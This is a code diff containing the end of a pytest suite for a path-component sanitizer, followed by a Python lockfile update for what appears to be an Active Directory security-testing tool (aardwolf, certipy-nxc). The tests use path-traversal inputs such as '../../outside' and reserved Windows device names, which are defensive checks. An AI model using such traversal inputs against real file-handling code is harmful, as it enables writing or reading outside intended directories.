assert sanitize_path_component(name) == expected
def test_sanitize_path_component_replaces_malformed_bytes():
assert sanitize_path_component(b"host\xffname") == "host_name"
@pytest.mark.parametrize("name", ["../../x", r"C:\x", "\uff23\uff2f\uff2e.txt", "name. ", "x\uff0fy", "{output_folder}"])
def test_sanitize_path_component_postconditions(name):
sanitized = sanitize_path_component(name)
normalized = normalize("NFKC", sanitized)
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
assert sanitized
assert len(sanitized.encode("utf-8")) <= 255
assert all(character.isprintable() for character in sanitized)
assert not any(character in '<>:"/\\|?*' for character in sanitized)
assert all(
normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*'
for character in sanitized
for normalized_character in normalize("NFKC", character)
)
assert normalized not in (".", "..")
assert not normalized.endswith(".")
assert not normalized[-1].isspace()
assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None
assert sanitize_path_component(sanitized) == sanitized
def test_sanitize_path_component_bounds_long_names_and_preserves_extension():
sanitized = sanitize_path_component(f"{'a' * 300}.log")
assert len(sanitized.encode("utf-8")) <= 255
assert sanitized.endswith(".log")
assert len(sanitized.rsplit("_", 1)[1].removesuffix(".log")) == 12
def test_sanitize_path_component_keeps_paths_inside_base(tmp_path):
sanitized = sanitize_path_component("../../outside")
output = tmp_path / sanitized
assert output.parent == tmp_path
assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base")
def test_sanitize_path_component_honors_custom_budget():
sanitized = sanitize_path_component("a" * 300, max_bytes=220)
assert len(sanitized.encode("utf-8")) <= 220
assert sanitized == sanitize_path_component("a" * 300, max_bytes=220)
def test_sanitize_path_component_drops_extension_that_exceeds_budget():
sanitized = sanitize_path_component(f"{'a' * 30}.abcdefghijklmnopqrstuvwx", max_bytes=20)
assert sanitized != "_"
assert len(sanitized.encode("utf-8")) <= 20
assert sanitize_path_component(sanitized, max_bytes=20) == sanitized
Generated
+23 -207
View File
@@ -1,14 +1,17 @@
version = 1
revision = 3
requires-python = ">=3.10, <4.0"
requires-python = ">=3.11, <4.0"
[options]
exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values.
exclude-newer-span = "P1D"
[options.exclude-newer-package]
certipy-nxc = "2026-10-14T17:00:00Z"
[[package]]
name = "aardwolf"
version = "0.2.14"
version = "0.2.16"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "arc4" },
@@ -22,7 +25,12 @@ dependencies = [
{ name = "tqdm" },
{ name = "unicrypto" },
]
sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" }
sdist = { url = "https://files.pythonhosted.org/packages/71/0f/79f2acb31e1144a3895d17ad9136272d2b75ed3bd24eb1c415129d5e089d/aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2", size = 1013103, upload-time = "2026-10-04T18:44:46.704Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6c/8d/a0cfa361e4077c56bcda4b820c462dbea4a11ff60110bc8486c1f051b660/aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7", size = 2169322, upload-time = "2026-10-04T18:44:41.102Z" },
{ url = "https://files.pythonhosted.org/packages/15/7b/079c9087a742763141d3e2e4b000f34c3962aa6cb67599158fcb08c9aaaa/aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259", size = 2241815, upload-time = "2026-10-04T18:44:43.011Z" },
{ url = "https://files.pythonhosted.org/packages/71/43/b51e73133aae6a3e56bfb79174e8a4edc99f8ef051202b0e7173053a0886/aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6", size = 1966337, upload-time = "2026-10-04T18:44:45.294Z" },
]
[[package]]
name = "aesedb"
@@ -86,7 +94,6 @@ name = "anyio"
version = "4.14.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
{ name = "idna" },
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
]
@@ -101,9 +108,6 @@ version = "0.5.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b6/f0/881da69973abadac6848d27a0bf070b107ed5547ddbd1b092c30ab4c8b7c/arc4-0.5.0.tar.gz", hash = "sha256:259d4e505766639b7245d7199f3b4e72134d7adf20196820ffd3015954d85955", size = 6576, upload-time = "2026-04-05T13:22:36.059Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/24/3f/ab228c5d60e1d6ba345fa993b5336cd24376a86851673e112ad09b681c91/arc4-0.5.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:2a052f9934746d81917032a4f37b390577141c56b4445c7f85c52b1155fdbf9f", size = 9065, upload-time = "2026-04-05T13:22:18.032Z" },
{ url = "https://files.pythonhosted.org/packages/0b/68/32c530846e2037275c094854c63935a15fac694de9279e62b23d86cf00e7/arc4-0.5.0-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:83a1f1934c55256838aa40998b87777f881e81c2056af9734cdb35a84574488c", size = 16526, upload-time = "2026-04-05T13:22:18.983Z" },
{ url = "https://files.pythonhosted.org/packages/d9/e9/2086b401b89885156424f3d5095de9ae3807ba04b05a768ba320c163ebc1/arc4-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:631786051c1468d3ec1010d1fc1089b539831d72d7f08ea342bdcd25aa019620", size = 9986, upload-time = "2026-04-05T13:22:20.064Z" },
{ url = "https://files.pythonhosted.org/packages/e8/4f/f2e28e91c9083876090e6218d3f601f7d54acdb5cc189fd4af406f104778/arc4-0.5.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:343a67c0bd2dcfdee78dc4269d8bd8ac362e6e911047833172468b337faccb1f", size = 9068, upload-time = "2026-04-05T13:22:20.845Z" },
{ url = "https://files.pythonhosted.org/packages/37/80/84266d1b251fe29272d9f7796e3d4a323cf0a005749b6ddda45a191c2f11/arc4-0.5.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0ffd6df658cf4d348eebbd125e9dcd35fcfcb2efec31ff4258b85791b0207bad", size = 17788, upload-time = "2026-04-05T13:22:21.66Z" },
{ url = "https://files.pythonhosted.org/packages/b9/f7/e4ff9ee3d4b6227fd2e3b34d66d2242b7f55fd245c537b578e7f2b60becb/arc4-0.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:6c20103a2ff7cd43b91d707fb520a3d10dac5b9ef647957a2d19fa3a05725be6", size = 9990, upload-time = "2026-04-05T13:22:22.815Z" },
@@ -113,8 +117,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" },
{ url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" },
{ url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" },
{ url = "https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" },
{ url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" },
{ url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" },
{ url = "https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" },
{ url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" },
@@ -266,17 +268,6 @@ version = "8.22.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" },
{ url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" },
{ url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" },
{ url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" },
{ url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" },
{ url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" },
{ url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" },
{ url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" },
{ url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" },
{ url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" },
{ url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" },
{ url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" },
{ url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" },
{ url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" },
@@ -386,9 +377,9 @@ wheels = [
]
[[package]]
name = "certipy-ad"
version = "5.1.0"
source = { git = "https://github.com/Pennyw0rth/Certipy#069e03113095aa02772aa3d8debea90654933fe4" }
name = "certipy-nxc"
version = "5.1.0.post1"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "argcomplete" },
{ name = "asn1crypto" },
@@ -402,6 +393,10 @@ dependencies = [
{ name = "pycryptodome" },
{ name = "requests" },
]
sdist = { url = "https://files.pythonhosted.org/packages/db/b8/ebf0f6f0a3d54d7c309a58d692f54532edbc62d8358ea56dadd22ef8b041/certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8", size = 159110, upload-time = "2026-10-14T16:14:49.169Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/83/6e/5b1c9ceaf7b6092dfe50705af3b1eb5e239115d1044a162a3933a3fa24dc/certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0", size = 181768, upload-time = "2026-10-14T16:14:47.58Z" },
]
[[package]]
name = "cffi"
@@ -412,18 +407,6 @@ dependencies = [
]
sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" },
{ url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" },
{ url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" },
{ url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" },
{ url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" },
{ url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" },
{ url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" },
{ url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" },
{ url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" },
{ url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" },
{ url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" },
{ url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" },
{ url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" },
{ url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" },
{ url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" },
@@ -519,22 +502,6 @@ version = "3.5.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa", size = 369072, upload-time = "2026-08-15T08:16:22.964Z" },
{ url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda", size = 251142, upload-time = "2026-08-15T08:16:24.81Z" },
{ url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45", size = 240714, upload-time = "2026-08-15T08:16:26.392Z" },
{ url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab", size = 279637, upload-time = "2026-08-15T08:16:27.961Z" },
{ url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a", size = 276543, upload-time = "2026-08-15T08:16:29.399Z" },
{ url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3", size = 261644, upload-time = "2026-08-15T08:16:30.722Z" },
{ url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb", size = 259609, upload-time = "2026-08-15T08:16:32.248Z" },
{ url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f", size = 252457, upload-time = "2026-08-15T08:16:33.849Z" },
{ url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea", size = 242240, upload-time = "2026-08-15T08:16:35.396Z" },
{ url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f", size = 280308, upload-time = "2026-08-15T08:16:36.825Z" },
{ url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182", size = 258679, upload-time = "2026-08-15T08:16:38.22Z" },
{ url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa", size = 277221, upload-time = "2026-08-15T08:16:39.62Z" },
{ url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818", size = 263799, upload-time = "2026-08-15T08:16:40.885Z" },
{ url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20", size = 182037, upload-time = "2026-08-15T08:16:42.198Z" },
{ url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d", size = 206030, upload-time = "2026-08-15T08:16:43.787Z" },
